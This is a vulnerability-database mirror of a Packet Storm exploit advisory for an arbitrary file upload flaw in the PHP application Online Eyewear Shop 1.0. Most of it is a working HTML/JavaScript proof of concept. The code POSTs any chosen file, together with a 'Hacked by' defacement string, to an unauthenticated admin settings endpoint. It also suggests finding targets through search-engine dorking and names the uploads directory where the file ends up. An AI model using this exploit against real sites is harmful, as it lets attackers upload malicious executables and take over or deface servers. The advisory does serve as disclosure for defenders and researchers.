Lucene search
K

Online Eyewear Shop 1.0 Arbitrary File Upload

🗓️ 01 Oct 2024 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 229 Views

Online Eyewear Shop 1.0 Arbitrary File Upload vulnerability in Windows 10 Firefox 130.0.

Code
`=============================================================================================================================================  
| # Title : Online Eyewear Shop v1.0 arbitrary File Upload Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits) |  
| # Vendor : https://www.kashipara.com/project/download/project2/user/2023/202301/kashipara.com_php-oews-zip.zip |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] The following html code uploads a executable malicious file remotely .  
  
[+] Go to the line 33.  
  
[+] save code as poc.html .  
  
  
<!DOCTYPE html>  
<html lang="en">  
<head>  
<meta charset="UTF-8">  
<meta name="viewport" content="width=device-width, initial-scale=1.0">  
<title>Direct arbitrary File Upload</title>  
</head>  
<body>  
  
<h2>Direct arbitrary File Upload</h2>  
<form id="uploadForm">  
<label for="fileInput">Select File:</label>  
<input type="file" id="fileInput" name="fileInput" required><br><br>  
  
<button type="button" onclick="uploadFile()">Upload File</button>  
</form>  
  
<script>  
function uploadFile() {  
const fileInput = document.getElementById('fileInput').files[0];  
  
if (!fileInput) {  
alert('Please select a file.');  
return;  
}  
  
const formData = new FormData();  
formData.append('name', '<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>');  
formData.append('img', fileInput);  
  
console.log("(+) Uploading file...");  
  
fetch('http://localhost/oews/admin/classes/SystemSettings.php?f=update_settings', { // Replace with your upload URL  
method: 'POST',  
body: formData  
})  
.then(response => response.text())  
.then(data => {  
if (data === '1') {  
console.log("(+) File upload seems to have been successful!");  
} else {  
console.log("(-) Oh no, the file upload seems to have failed!");  
}  
})  
.catch(error => console.error("(-) Error during file upload:", error));  
}  
</script>  
  
</body>  
</html>  
  
  
[+] http://127.0.0.1/music/assets/uploads/  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2024 00:00Current
7.4High risk
Vulners AI Score7.4
229